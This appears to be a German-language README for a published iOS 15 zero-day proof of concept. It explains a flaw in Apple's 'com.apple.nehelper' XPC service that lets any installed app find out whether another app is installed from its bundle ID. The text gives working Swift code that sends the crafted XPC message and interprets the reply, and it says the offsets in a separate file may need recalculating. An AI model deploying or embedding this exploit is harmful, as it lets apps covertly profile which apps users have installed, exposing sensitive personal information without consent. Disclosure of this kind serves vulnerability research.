
iOS 15 0-day exploit (still works in 15.0.2)
Ich habe diesen Code aktualisiert, um die direkte Verwendung der Private API zu vermeiden. Mehr dazu in meinem Blogbeitrag. Allerdings bedeutet das, dass dieser Code nun iOS-Version-spezifisch und möglicherweise Gerätemodell-spezifisch ist. Wenn er also auf deinem Gerät nicht funktioniert, berechne die Offsets in der Datei c.c neu und aktualisiere sie. Der ursprüngliche Code ist im Zweig direct zu finden.
Die Schwachstelle ermöglicht es jeder benutzerinstallierten App, anhand der Bundle-ID zu ermitteln, ob eine beliebige App auf dem Gerät installiert ist.
Der XPC-Endpunkt "com.apple.nehelper" verfügt über eine Methode, die für jede App zugänglich ist, eine Bundle-ID als Parameter akzeptiert und ein Array mit einigen Cache-UUIDs zurückgibt, wenn die App mit der passenden Bundle-ID auf dem Gerät installiert ist, andernfalls ein leeres Array. Dies geschieht in -[NEHelperCacheManager onQueueHandleMessage:] in /usr/libexec/nehelper.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}